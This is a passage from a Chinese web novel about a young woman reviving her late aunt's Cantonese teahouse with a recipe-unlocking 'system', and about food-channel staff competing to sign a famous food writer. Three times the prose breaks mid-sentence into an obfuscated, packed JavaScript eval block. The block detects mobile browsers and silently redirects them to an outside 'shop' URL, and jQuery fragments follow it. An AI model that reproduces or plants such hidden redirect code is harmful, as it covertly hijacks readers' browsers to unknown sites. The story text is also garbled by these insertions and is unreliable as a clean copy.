夏咏恩笑了笑,“这有什么不能的,这些配方也没有什么特别的。再说了,现在我在世上亲近的长辈就只有您了,我天天防着您做什么呀!”
以后系统解锁的点心只会越来越多,要是都按照现在以自己为主,珍姨为辅的工作模式,那么多点心根本做不完。
因此她特意问过系统,解锁的点心配方能不能拿出来,她担心自己这样做之后,会像那些电视剧一样受到神秘力量的制裁。
没想到系统却说,配方其实并不重要,重要的是实践操作的过程。
就像看书一样,虽然是同一本书,但每个人都会有不同的理解。而夏咏恩通过在无界空间的无数次实践,已经完全理解了配方背后的原理。
因此,只有夏咏恩做出来的,才是方家传承百年的点心,其他人做出来的点心,始终在味道、口感上会有偏差。
这下夏咏恩才放心了,毕竟好不容易请了珍姨回来,总不能就让人家给自己打下手吧,这也太浪费人才了。
再说了,以珍姨的经验,做出来的点心就算和自己做的味道有些差别,那也一定是好吃的。
现在来消费的都是普通食客,对点心的要求就是好吃,不贵,能填饱肚子。微妙的味道差别在这个阶段,并不是十分重要。
见到配方,赖美珍“哎哟”了一声,“你这个傻姑娘啊……”
最后那一叠写着配方的纸,还是被珍姨接过了。可她并没有收起来,而是放在了神龛上,压在了方萍的遗照前。
她点了三支香,想起来自己为了这叠轻飘飘的纸,过去不知道吃了多少苦,没想到最后却被扫地出门。
三支香插在遗照前的香炉里,缓缓升腾的白烟后有人呢喃低语,“阿萍,你放心,我一定会好好看着阿恩的。”
周一,早餐铺正常开业。
夏咏恩定制的灯箱还没到,她去冯姐的文具店买了几张A3大卡纸拼合在一起,在上面写了“早餐”两个大字,摆在玻璃柜台旁边。
无惊无险又到十点,夏咏恩伸了伸懒腰,准备回荣兴楼“睡觉”,练习一下流沙包和生肉包的制作。
偏偏就在这个时候,她的手机响了起来。
21. 何玉强来访
夏咏恩看了眼屏幕,双眼瞬间睁大,连忙接起电话,“喂——”
电话那头传来一把熟悉的声音,“小夏啊,你茶楼的地址在哪里啊,我现在刚下飞机,还在等行李。”
夏咏恩又惊又喜,一口气把地址报了出来,说完便问,“你怎么突然来花城了啊?”
电话那头的人匆匆道,“哎呀,等我来了再跟你细说吧。”
一个小时后,一辆奔驰从远处开来,停在了荣兴楼的门口。
一个高高瘦瘦的女生从车上走下来,她的上身穿着一件平整的白色短袖衬衫,下身配了一条蓝色短裤,脚上穿着一双平底皮鞋,头上顶着一副猫眼墨镜。
夏咏恩激动地走出门去,还没走近就先闻到了一股若隐若现的香气,她打趣道,“哟,你又换香水了?”
“你鼻子真灵,”何玉强一把抱住面前的夏咏恩,又捏了捏她的脸颊肉,“小夏,怎么感觉你瘦了?”
“没有吧,肯定是你太久没见我,所以产生了错觉。”
何玉强挽着夏咏恩进门,“当时参加完毕业典礼你就走了,宿舍聚会你也没去,芽芽和小许都很想你呢。”
赖美珍看见来客,连忙看向夏咏恩,“这位是……”
何玉强主动笑着打招呼,“阿姨您好,我是小夏的大学舍友。”
在上大学之前,夏咏恩对大学的校园生活既憧憬也担忧。
从小到大,因为自己的贫困生身份,常常会引来一些特别的目光。尤其是大学的舍友都来自五湖四海,还要在一起住四年,完全就跟开盲盒一样,要是遇上不好相处的舍友,那真是有够糟心的。
不过夏咏恩没有想到,自己竟然十分幸运,遇上了三个友好的舍友。而其中最亲近的,就是住在对面床的何玉强。
何玉强是北方人,性格大方爽朗,和夏咏恩很是合得来。
二人在荣兴楼转了一圈,何玉强眉头拧得越来越紧,不是,夏咏恩不是回来继承茶楼吗?这……这茶楼破成这样,能有生意?
当初夏咏恩推掉国企的offer回花城的时候,三个舍友都以为,夏咏恩小时候吃了那么多的苦,现在回茶楼继承家业,终于是苦尽甘来了。
可现在看样子,家业是继承了,可夏咏恩还得自己白手起家啊!
再看见包厢里放着的折叠床和电水壶,何玉强更是惊呆了,“你就住在这里啊!”
“是啊,这里怎么了?我觉得挺好的呀。”
“好个鬼啊,这个床比棺材板还硬,你睡着不腰疼啊!”何玉强气不打一处来,“再说了,你洗漱咋办?”
夏咏恩指了指隔壁,那里原来是一间空的包厢,后来被方萍阿姨改成淋浴间了。
何玉强无奈地翻了个白眼,对着夏咏恩,也真是不知道说什么才好。
不过,这地方看着是破旧了一些,可起码有个地方能遮风挡雨,再说了这本来就是茶楼,那么大一个厨房,也饿不死夏咏恩。
谁想到珍姨幽幽地来了一句,“我没来之前,阿恩天天啃馒头呢。”
何玉强一拍大腿,怪不得今天看夏咏恩瘦了那么多,天天睡不好吃不好,身上怎么能长肉!
夏咏恩清了清嗓子,赶紧转移话题,“对了,你到底来花城干嘛?”
“哦,我是来看演唱会的啦。”
何玉强自小喜欢摄影,长大后又迷上了追星,大学的时候就是某偶像团体的站姐。
大学毕业后,她没找到什么合适的工作,就干脆做起专业站姐,除了拍自己喜欢的明星外,还承接其他明星的代拍工作,平时就在不同的国家和城市之间来回跑。
最近她接了一个女团的代拍工作,这个女团正在举行亚洲巡回演唱会,未来半年会在东南亚等地举办演唱会。
花城离东南亚近,她又想着自己和夏咏恩也有一段时间没见了,便决定来这里呆一阵子。
夏咏恩这下懂了,荣兴楼以后就是何玉强的根据地了。
两人隔了两个多月没见,要说的讲是怎么都说不完。经过夏咏恩一解释,何玉强才明白了荣兴楼的现状,以及夏咏恩现在在做的事情。
何玉强抱着疑惑的眼神,看向夏咏恩,“你会做点心?我怎么从来不知道?”
夏咏恩尴尬地笑了笑,“额,也就是最近才学的,不过你放心,我做的点心可好吃了,要不要给你尝尝?”
何玉强自然是立马点头,可她心中知道,夏咏恩说的话,多半是安慰自己而已。
从小到大,山珍海味她还是真的没少吃。虽然不是花城人,但她对粤菜十分感兴趣,而早茶作为粤菜文化中十分重要的一部分,无论是高端的茶楼,还是平民的茶楼,她都去过不少。
无论价格是高是低,粤式点心都有一个十分明显的特征,用料讲究,制作精细,没有几十年的功夫,根本不可能做好点心。
而这个茶楼就两个大活人,珍姨虽然说是小夏请来的帮手,可她看起来就十分有经验。
何玉强暗自在心里下了判断,珍姨应该才是主要负责做点心的人,小夏虽说是老板,但这核心的技术还是握在别人手里啊。
再想到夏咏恩一个人苦苦支撑茶楼,何玉强就忍不住有些难受。
她知道小夏身世不容易,如今又摊上这么大一个茶楼,自己一定得帮帮她才行。
方才自己问起茶楼的事,小夏有些支支吾吾的,却摆出一副气定闲神的模样,说她做的点心味道很不错。
可夏咏恩那厨艺,何玉强是再清楚不过了,煮点泡面快手菜还行,做点心那是绝不可能!
不用多说,小夏摆明了就是想让自己放心,不愿意让自己帮忙。
何玉强认真思索,有什么方法,可以隐晦地帮上她的忙呢……
思及此处,她大手一挥,“走吧,我请你和珍姨出去吃饭。”
“那怎么能行,你是客人我是主人,肯定得我请你。”
何玉强白了她一眼,“我俩关系那么好,你还讲究这些干嘛,走啦!”
三个人来到一家小店,要了三份云吞面,一碗猪血汤,一碗柴鱼花生粥。
三人吃过了饭,夏咏恩又回到了案板前。
她先准备好下午要拿去学校售卖的点心,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507280|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开始尝试做几个流沙包。目前流沙包的等级还停留在C等级,怕是要再过几天才能拿出来售卖。
流沙包其实就是咸蛋黄为馅的包子,包子蒸熟后一口咬下去,蛋黄瞬间宛如金沙流出。
一个好吃的流沙包,最重要的就是内馅。蛋黄虽然会流动,但并不会稀得跟水一样,而是十分绵密,又带有微小的颗粒感,所以才叫流沙,而不是流水。
夏咏恩用刀背将咸鸭蛋和鸡蛋的蛋黄压碎,重复几回,这样压出来的蛋黄就足够细腻,不需要再去过筛。
然后又分别加入奶粉、黄油、白糖等各种配料,和蛋黄搅拌均匀。调配好的蛋黄馅十分松软,按压起来就像在玩雪粉史莱姆一样。
一个小时后,何玉强循着一股香甜的味道,来到了厨房。蒸笼上正在冒着热气,她眼前一亮,“这里头是什么,这么香?”
夏咏恩看了眼厨房上的挂钟,“这是我做的流沙包,看样子应该是快好了。”
“你做的?我还没尝过你做的点心呢,我能尝尝吗?”
看何玉强一脸期待的模样,夏咏恩脸上显出几分尴尬,“这些都是我拿来练手的,等之后我彻底学会了,再做给你吃吧。”
“我就是现在想吃嘛,再说了你做的肯定就没有不好吃的。”
何玉强又不是傻子,自然能感受得到夏咏恩的婉拒之意,可她是这样想的:小夏现在刚开始做点心,正是最需要别人给她鼓励的时候,自己一定要多多夸赞她才好!
而她不知道,平时这些练手的包子,都是夏咏恩留下来自己吃掉的,就连珍姨也没有吃过。
毕竟,在员工面前树立一下形象还是很有必要的。
见何玉强坚持,夏咏恩也只好作罢,反正她是自己闺蜜,吃了也没事。
在夏咏恩“期盼”的眼神中,何玉强将碗里的流沙包拿了起来,递到嘴边,咬了一小口下去。
“怎么样,味道是不是很一般?”
何玉强刚要皱起的眉头赶紧舒展开了,“哇塞,这是我吃过最好吃的流沙包!这比香港米其林店做的都要好吃!”
夏咏恩赶紧打住她的话,“行了,我知道这个包子味道确实不咋样,你不用特意夸我,说实话就行。”
“我说的就是实话,真的特别好吃!”
“我自己做的包子,我不知道什么味道吗?”夏咏恩忍俊不禁,刚想拿起桌上的另一个流沙包,结果又被何玉强夺去了。
“这可是你第一次给我做的包子,我要全部都吃完,你不许跟我抢!”
小夏大热天还在厨房干活那么辛苦,都热得浑身是汗了,千万不能让她知道自己做的点心那么难吃!
夏咏恩无奈作罢,暗自想:等流沙包等级提高了,一定要让她再尝一次才行。
而吃得“津津有味”的何玉强,心里也在想着:果然啊,那些好吃的点心都是珍姨做的。
无论如何,自己一定要想尽办法帮帮小夏,不然就凭她这个手艺,根本不可能有人来茶楼喝茶啊!
夏咏恩见何玉强吃得正欢,只得扶着脑门叹口气,这下误会大了!
22. 流沙包
周三一早,何玉强从四季酒店的大床上醒来。她订的套房原本含了免费早餐,但她却没有去吃,而是打了个豪华专车,直奔荣兴楼。
荣兴楼门前已经排了五六个人,经过夏咏恩的调整,现在五十米开外的人都能瞧见玻璃柜台隔壁那写着“早餐”的灯箱。
玻璃柜台后,每一个装着点心的铁盘边上都贴了一张大标签,上面用明显的黑体字写着点心的名字、价格以及计量单位。
除此以外,玻璃柜台上还摆了一张大大的价格牌,底下附了两个收款码。
虽然只是稍微的改动,但夏咏恩明显觉得,今天早上来买的人多了不少。
而昨晚熬夜写完文案的徐梦,正急匆匆地往早餐铺赶。
这阵子她已经习惯了在荣兴楼买早餐,也和夏咏恩混了个脸熟。还没等徐梦开口,夏咏恩已经把夹子伸往了徐梦一向爱吃的咸水角和玉米饼。
“我们今天有新品哦,你要不要尝尝?”
夏咏恩指了指一旁刚从蒸笼里拿出来的流沙包,白乎乎、圆鼓鼓,看起来就像小馒头一样。其中一个已经破了皮,这是她故意的,就是想让所有路过的人都看见。
那金灿灿的蛋黄馅诱人极了,谁看了不想来上一口?
徐梦毫不犹豫地点了点头,要了两个流沙包。
等她回到公司,米莱正捧着一盒沙拉在吃着,“你今天又买什么好吃的?”
自从徐梦习惯在荣兴楼买早餐之后,米莱每天可谓是深受折磨,可每一次都忍不住问上一句,再探头仔细端详徐梦面前的早餐。
虽然自己不能吃,但能一饱眼福,闻一闻点心的香味也好呀!
徐梦掏出口袋里的两个流沙包,自己也咽了咽口水。当时她刚买完流沙包,就看到有人当场吃了起来,吃得那叫一个香啊!
要不是她担心一边走一边吃流沙包容易弄脏衣服,肯定就马上吃完了,哪还能等到现在。
好不容易回到公司,流沙包却已经冷了,于是徐梦去了茶水间,将包子放进微波炉里热了一下。
热好的流沙包很是烫手,徐梦吹了好几口气,才拿起其中一个流沙包轻轻咬了一小口。
经过短暂加热后,流沙馅的温度正正好,不冷不热。要是太冷会有蛋腥味,流沙馅也会凝固在一起,要是太热的话则容易烫伤,流沙馅也会因过度加热而变为液态。
而现在的流沙馅,正是最完美的半液态质地,明黄色的蛋黄上泛着一层明显的油脂。
捧着沙拉的米莱,目不转睛地看着徐梦手中的流沙包,忍不住感叹:妈呀,这看着也太好吃了!
徐梦咬下第二口,咸蛋黄那一股天然的油脂香味充斥了她的舌尖,好香啊!
绵滑又带细沙颗粒的咸蛋黄,第一口吃下去是淡淡的咸味,但很快舌头又能尝到甜味,两种味道都十分柔和,搭配在一起并不会奇怪,反而融合得非常好。
本以为这已经够好吃了,然而那流沙包的面皮才是真正的极品!面皮的内层被金油浸得微软,吃进嘴里既有蛋黄的醇香,也有麦子的甜香。
徐梦对着手里的流沙包睁大了双眼,这也太好吃了!
一旁的米莱忍不住咽了咽口水,恨不得自己嘴里嚼着的菜叶子变成美味的流沙包。可流沙包是极致的糖油混合物,要是吃了肯定会胖的。
无奈之下,她又拿起叉子吃了一口沙拉。流沙包的香味还在空气中飘荡,反衬得嘴里的沙拉更加难吃了。
眼看徐梦又要再吃第二个,米莱不由自主地叫住了她,“等等,我……”
见徐梦抬头看向自己,米莱犹豫了一会,终于狠下心说,“能不能,给我尝一点点?一小口就可以了。”
“当然可以了,这绝对比你的沙拉好吃多了。”
为了不让流沙馅溢出来,徐梦小心翼翼地撕下一小半包子,但她最担心的事情还是发生了,有小部分的流沙馅顺着包子边缘,滴到了桌面上。
这时,她也顾不上心疼了,赶紧把半块包子递到了米莱的嘴边,“快吃快吃,不然要流光了。”
那珍贵的半块流沙包,此时正在米莱的口中慢慢地融化。醇厚绵滑的咸蛋黄在舌尖一点点散开,她激动得眼泪都要下来了,怎么会有这么好吃的包子啊!
寡淡的味觉被咸甜的风味瞬间激活,她一边惊叹这流沙包的美味,一边快速咀嚼起来,很快就将那半块流沙包都吞了下去。
吃完后,米莱舔了舔嘴唇,有些怅然若失。刚刚一下子没控制住,还没有嚼几口就吞了下去,现在想起来实在是后悔。
徐梦见状便说,“小米,你要是爱吃的话,我以后给你带呗。”
米莱一怔,马上就有些心动,可再想了想,平时偶尔吃一下,满足一下食欲就行了,还是不能太过放纵啊,还是吃沙拉吧。
于是她回道,“还是不用了吧,不麻烦你了。”
“不麻烦呀,怎么会麻烦呢,而且这个流沙包也很便宜,总比你买沙拉省钱多了。”
米莱咬唇想了想,这样美味的包子,自己却不能天天吃,实在是遗憾啊!要不……就吃几天好了,等自己过足了瘾,就重新回归沙拉的怀抱,好好减脂。
她犹豫了一会,最后还是重重地点了点头。
两分钟后,徐梦把今天在荣兴楼前拍下的菜单发给了米莱,“你看看有什么想吃的。”
刚刚吃了一小块流沙包,米莱现在是真的胃口大开,看见菜单上的东西都恨不得来上一份。但最后,她还是只要了一个流沙包。
而刚到公司的陈琛,听见二人在讨论早餐,不禁问道,“怎么了,我们下一个探店对象是早餐铺吗?”
米莱笑了笑,“不是啦,是我让梦梦帮我带早餐。这家早餐可好吃了。”
陈琛有些震惊,“啊?你不吃沙拉和酸奶了?”
徐梦替米莱回话,“因为那家卖的早餐好吃又不贵,我跟你说,我今天买了两个流沙包,真的特别特别好吃!”
她干脆把菜单也发给了陈琛,“陈大哥要不要吃,我顺便也给你带呗。”
陈琛随意瞄了一眼,摇了摇头,“不要了,你们吃吧。”
这些菜单上卖的都是普通点心而已,许多茶楼都能吃到,他并不是很感兴趣。
而且作为一名美食摄影师,他吃过的美食,怕是比米莱还要多。
毕竟想要将食物拍得好吃,就一定要跟食物共感。只有真心觉得面前的食物好吃,才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507281|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会花尽心思用镜头将食物的味道传达给每一位观众。
本着这样的理念,陈琛拍出来的美食一直都很受欢迎,而他本人的嘴巴也是出了名的挑剔,毕竟拍过的美食实在是太多,哪一样好吃,哪一样难吃,哪一样差些火候,哪一样好吃但没有特点,他是最清楚不过的了。
因此,当他看见徐梦和米莱在为流沙包而侃侃而谈时,自然没有多大兴趣。
在他看来,米莱平时老是吃白人饭,但凡吃点别的东西肯定都觉得香;而徐梦又是出了名的胃口好,在她的嘴里,就没有东西是不好吃的。
陈琛打开电脑,看见桌面的提示事项,一下子就想起来梁修文的事,连忙转头看向徐梦,“对了,你跟他约了什么时候见面啊?”
徐梦的脸一下子皱巴了起来,“约了后天早上九点,在咖啡馆见面。”
说起这事,徐梦就压力山大。
这几天她把家里放着的梁修文散文集都拿出来翻了个遍,列了一些或许可以说动他的点,可问过米莱和陈琛后才发现,自己想出来的东西,他们二人早就试过了。
“没关系,他顶多就是拒绝你而已,也不会吃了你,你就放轻松点,就当是去签售会和自己喜欢的作家见一面。”
陈琛也接过米莱的话,“是呀,你别有压力,他这个人啊一向很低调,不肯和我们合作也是意料之中的事。别说是我们了,之前隔壁组想请他来拍视频,还不是被他拒绝了?”
公司除了米莱之外,自然也签约了其他的美食博主。陈琛说的隔壁组,就是在对面办公室的“康记探店”频道。
“康记探店”的负责人叫刘兆康,是一个四十多岁的中年大叔,频道的风格跟“小米食饭”完全不一样,极为夸张和博眼球。
299一碗的牛肉面、全世界最便宜的米其林、吃完必定痛风的海鲜锅等等,光看标题和封面就想让人点进去。
因此,对比“小米食饭”,“康记探店”的数据好得多,现在已经有六十多万的粉丝了,而“小米食饭”的粉丝量自从达到二十万后,增长的速度就变慢了很多。
对于这个情况,米莱自然很是焦急,公司明里暗里提过几次让“小米食饭”转型。但米莱知道贸然转型,只会流失更多的粉丝,而且现在整个频道的氛围和粉丝粘度都很好,接的商业合作也都是老品牌的食肆,频道对外的形象是颇为正面的。
要是贸然转型,说不准还会起到反效果。
虽然经过米莱团队的不断争取,转型的事最后不了了之,但也正是因为如此,公司内部觉得米莱频道成长的速度太慢,原本固定给“小米食饭”的流量和商务资源,不少都分给了“康记探店”。
毕竟,公司也不是做慈善的,谁的数据好,谁就能分得更好的资源。
听到米莱与陈琛说的话,徐梦心里的负担就更重了。“康记探店”粉丝这么多,都没能把梁修文说动,自己真的能行吗?
另一边,荣兴楼,何玉强拿着一个刚出炉的流沙包,对夏咏恩投去了难以置信的眼神。
她忍不住又狠狠地吃了一大口流沙包,为口中极致的美味感叹不已,同时也觉得十分震惊,“这真是你做的?怎么跟之前吃起来差那么多?”
23. 进击的徐梦
夏咏恩笑着点了点头,“是呀,是不是很好吃!”
何玉强对这一回的流沙包给予了高度的肯定,可她记得,自己周一吃到的那个流沙包,味道跟这个完全不一样。
短短两天,小夏的厨艺竟有了飞速增长,这怎么可能呢?就算是神仙,也不可能做到啊!
虽然手里捧着的流沙包热腾腾的,可何玉强的内心却逐渐变得冰凉,对夏咏恩的疑问也越来越多。
这个包子……真的是小夏做的吗?
如果不是小夏做的,可她为什么要骗自己呢?她没理由在这种小事上撒谎啊?
何玉强又问了一遍,“真的假的?你之前做出来的,可不是这样的。”
夏咏恩摸了摸鼻子,总不能把系统的事情说出来吧?于是只好硬着头皮说,“之前那次是失手了,这才是我的正常水平。”
和夏咏恩同住了四年,何玉强也算是对她有几分了解。现在见她神情如此不自然,心底冒出来的疑惑就更多了。
小夏真的在撒谎!这个流沙包,绝对不是她做出来的。
可是,她这样做的原因是什么呢?
何玉强很快就想明白了,想必小夏很希望自己相信,她做的点心真的特别好吃,茶楼的经营不会有任何问题。
说到底,小夏还是不希望自己帮忙,才故意撒的这一个谎。
既然如此,自己也不好在明面上帮她了。毕竟,人都是有自尊心的。
何玉强很清楚,夏咏恩是一个要强的姑娘。因此,在大学的时候,几个舍友都是偷偷摸摸在各种小事上帮忙的,就怕被小夏发现。
她狠狠地抱住了夏咏恩,“要是你遇到什么困难,可一定真的要跟我说啊,你不要自己憋在心里,知道吗?”
对于闺蜜突如其来的拥抱和表白,夏咏恩感到十分惊讶,“好啦好啦,我有事情肯定第一个找你,毕竟你有钱,我要抱你的大腿。”
她完全不知道,因为一个流沙包,何玉强到底在心里想了多少事情。
回到酒店后,何玉强马上联系了房产中介,在荣兴楼附近找了一间合适的屋子。
次日,夏咏恩一边揉面一边听电话,“什么,你不住酒店了?”
“是啊,你都不知道这个酒店的床单有多粗糙,给我后背都磨得过敏了,枕头的材质也不好,我实在是住不下去了,就在你们茶楼附近找了房子。”
在夏咏恩看到何玉强发来的房子详情后,她大为震惊。
不是,她找的房子,怎么是西关大屋啊!
而且还是三进的西关大屋,光是房间就有十间,这都还没把佣人房、客房以及书房算进去。三进院落之间以天井连接,院墙外还有一圈青云巷与别家隔开,可防火也可防盗。
在以前,这可是非富即贵的人家才能住得起的。
夏咏恩依旧震惊,“你不是一个人住吗?怎么租了那么大的房子?”
何玉强翘着二郎腿听电话,“哎呀,小的房子我住不惯啦,再说了这不还有你陪我吗?”
她再三嘱咐,“我一个人真的睡不着,你一定要来陪我啊!”
何玉强租下这里,自然是想着便利夏咏恩,可她让夏咏恩过来陪自己,也并非全是托词。
毕竟这宅子年代久远,大晚上让她一个人留在这里过夜,还是有些吓人的。
夏咏恩自然明白何玉强的用意,心下很是感动,只好乖乖应下,“那我抽空就过来陪你,要是太忙的话我就不过来了。”
现在是早餐铺开业的第二周,生意比第一周好了不少,除了之前夏咏恩对早餐铺外观进行过一番调整外,流沙包的推出也是功不可没。
另一边,徐梦刚回到公司,就看见米莱已经等在电梯口了。
见徐梦来了,米莱赶紧迎了上去,两人搀着手快步走去了茶水间,找了个空位坐下。
摆在两人面前的是一袋极为丰富的早餐,四个流沙包,两个咸水角,一个咸煎饼,两个鸡蛋,两杯豆浆。
一开始,米莱只是要徐梦帮自己代买一个流沙包而已。
可她想了想又觉得,要不就一次性吃个爽,说不准吃多了自己就没那么喜欢了,以后也不会天天惦记着。
于是,今天徐梦就买了一大堆早餐回来。
米莱的脸上露出幸福的笑容,昨日她只吃了一小口,实在是太不过瘾了,今天一定要好好地品味一番。
等咸鲜软糯的咸水角放进口中的时候,她的双眼不由自主地睁大了,好香,好好吃!
还有这咸煎饼,怎么能做得那么脆,那么香!
更不用说那咸甜相间的流沙包,一口气吃两个都不腻啊!
以往吃沙拉和酸奶的时候,她感觉自己就像一个设定好程序的机器人,勺子递到嘴边,那就吃一口,咀嚼,咽下去。
而在今天,她的脸上露出了发自内心的笑容。
米莱心情大好,从茶水间回到办公室,刚打开电脑,就看到了一则上司发来的邮件。
她紧急将外头的陈琛与徐梦叫进来,再将电脑屏幕转向二人,“不知道怎么回事,刘兆康那边的客户也点名要跟梁修文合作,这下麻烦大了。”
徐梦吃完早餐还正晕碳,整个人都有些恍惚,直至身边的陈琛一掌拍在了米莱的书桌上,她才醒了过来。
“刘兆康故意的吧,非要跟我们抢!”
米莱叹了一口,要是没有刘兆康他们搅浑水,那合作这事就算不成了,那也不会有太大的损失,顶多就是需要花心思跟客户那边交代,毕竟梁修文就没有跟美食频道合作的先例。
可现在多了个搅局的,事情就变得不同了。
对于“小米食饭”来说,现在不仅要能够跟梁修文合作,还要抢先刘兆康他们一步,先把合作视频发出来。
可以说,现在大家在抢的是梁修文网络首秀的热度。
一旦自己慢了别人半拍,就算能跟梁修文合作,客户那边也绝对会不满意的。
这一次机会十分难得,利用梁修文获得的热度,对两个频道来说都至关重要。
正因为如此,公司领导为了提高两个团队员工的积极性,还特意设置了一个激励机制。
哪个频道能抢先和梁修文达成合作,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507282|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未来美食部半年内的所有商务,都归这个频道所有。
而即将与梁修文见面的徐梦,本就压力山大,听见这个消息后,更是愁眉苦脸,唉声叹气。
虽说团队里不止自己一个人,可现在摆在面前的,可是未来半年的商务资源啊。
她想去卫生间一个人静静,然而还没等她走到卫生间门口,就听见拐角处传来两个男声。
其中一人说道,“刘哥,看来这次我们肯定胜券在握了,米莱她们怎么能跟我们比啊?”
另一个男声冷笑几声回道,“那肯定,你也不看看她们频道选的都是什么店,正经米其林餐厅她们有去过吗?净去那些犄角旮旯的小店。”
“人家梁修文可是出了名的懂吃,怎么可能青睐米莱那种只靠颜值吸粉的网红?”
徐梦忍不住冲到刘兆康面前,对着他劈头盖脸臭骂一通,“姓刘的,吃过几间米其林就觉得自己很了不起是吧?一天天的在背后嚼舌根,不知道的还以为你们跟梁修文的合作已经敲定了呢!”
刘兆康浑身一颤,被她吓了一大跳,他可没想到平时这个看上去不声不响的小姑娘,竟然一开口就说出了这样的话。
他装模作样笑了笑,“小徐,你的火气何必这么大,我也只是说了实话而已嘛。这一次合作,多半是我们组要赢了。”
徐梦瞪他一眼,“事情还没到最后呢,你怎么知道我们不能谈成合作?有本事我们走着瞧!”
刘兆康呵呵一笑,“年轻人有志气,是好事,不过,也得掂量掂量自己的本事!”
两人在茶水间的争吵很快就吸引了其他同事的注意,而美食部与梁修文的合作,也因此在公司上下都传开了。
徐梦坐回工位上,便能感受到周围同事对自己投来好奇的目光,时不时还能听到一些窃窃私语。
而隔壁办公室的刘兆康,身旁已经围了不少同事,一个个都围着他说着吹捧的话,刘兆康的脸上更是十分得意,似乎已经胜券在握。
徐梦悄悄叹了一口气,事已至此,那就只能,拼一把了!
……
周五一早,徐梦拖着极为沉重的步伐,走出了家门。
她像以往一样来到了荣兴楼的门前,夏咏恩笑着对她打招呼,“你好,我们今天有新的包子,你要尝尝吗?”
夏咏恩将蒸笼的盖子掀开,在升腾的白雾后面,十二个饱满的生肉包排列在笼屉之上,一个个白白胖胖的,外皮上捏了许多道清晰的细褶,最后都被收拢在包子的顶部。
而离蒸笼只有两臂之遥的徐梦闻到一股隐隐的肉香,还有麦子的香味。
再看到前头那人手上掰开了一半的生肉包,里头的猪肉馅有半个拳头那么大,还有马蹄和小葱作为点缀,甚至肉团里还有些汁水。
看着那极为诱人的生肉包,徐梦忍不住咽了咽口水,沉重的心情瞬间变得轻松了一些。
两个热腾腾的生肉包被她塞进了口袋里,徐梦抓起拳头,给自己打了打气,朝约定好的咖啡馆走去。
坐了十几站的地铁后,她终于来到了和梁修文约定好的咖啡馆。
24. 神奇的生肉包
徐梦刚走进去,就看见窗边那张桌子前坐着一个男人。
那人二十多岁,穿了一件很简单的白色短袖,看起来却是文质彬彬的,长得很帅。
不知怎的,她一下子就觉得,这人好像就是自己要找的那个人。
梁修文抬起头看向咖啡馆的门口,两人目光一对,他先开了口,“您是徐编辑吗?”
距离约定好的时间还有十五分钟,徐梦没想到梁修文这么快就来了。在路上的时候,她还想着一到咖啡馆,就先把口袋里的那两个生肉包给吃了,再静静等待梁修文的到来。
可现在两人已经坐定在了咖啡馆里,大理石的餐盘上摆着两个精致的香酥羊角面包,在灯光下泛着焦黄的色泽。
西式烘焙那一股熟悉的甜香味攻入了徐梦的鼻腔,再轻轻嗅闻几下,她又闻到了一股隐隐约约的肉香味,来自于口袋里的那两个生肉包。
两人喝着咖啡,自然而然地谈到了那家乳鸽店的商业合作项目。
徐梦从单肩包里将之前准备好的材料拿出来,逐一摆在梁修文面前,“这些是项目的合作计划,我们打算以红烧乳鸽这道菜的历史为主题,穿插各代厨师为了改良乳鸽而做出的努力,从而引申出乳鸽的各种做法,最后落到本店的新品特色乳鸽套餐上。”
“这些是我们之前跟别的食肆合作过的项目,其实我们整个频道的主题,和您写的美食散文还是有很大的契合度……”
三个文件夹堆在了梁修文的面前,他低头仔细地翻看着,没有出声。
徐梦小心翼翼地看了眼梁修文的神情,方才自己说的那些内容,全都是按照之前备好的稿子一个字一个字背出来的,也不知道他有没有发现。
见他一直在看文件,徐梦深吸了一口气,舔了舔唇,准备来最后的一击。
“其实我本人一直都是您的书迷,所以,这次能够跟您见面,我真的非常高兴,要是能够有机会跟您进行深度的合作就好了。”
这几天,她一直都在想,自己到底要用什么样的身份来和梁修文拉进关系。想来想去,还是书迷最合适,一来自己确实看过不少他的书,二来么,也能够增加一下自己在他心里的好感度。
一直低着头的梁修文抬起了头,温柔地笑了笑,“看来我现在很有名气呀,你们公司每个人都是我的书迷。”
徐梦当场愣住了,再一听才知道,原来刘兆康他们组,也说自己是梁修文十几年的老书迷。
可等梁修文再问多几句,刘兆康却有些支支吾吾的,说不出几句话来。
“不是的,我真的是,真的是你的书迷!”徐梦很是着急,声音也拔高了几度,“当时你还在《易牙》杂志上写短篇散文的那会,我就开始关注你了……”
梁修文翻动文件的双手停了下来,“《易牙》杂志?那是我高中的时候尝试投稿的,没想到徐编辑竟然会记到现在。”
看他双眼微微一亮,徐梦心中一喜:好像有戏!
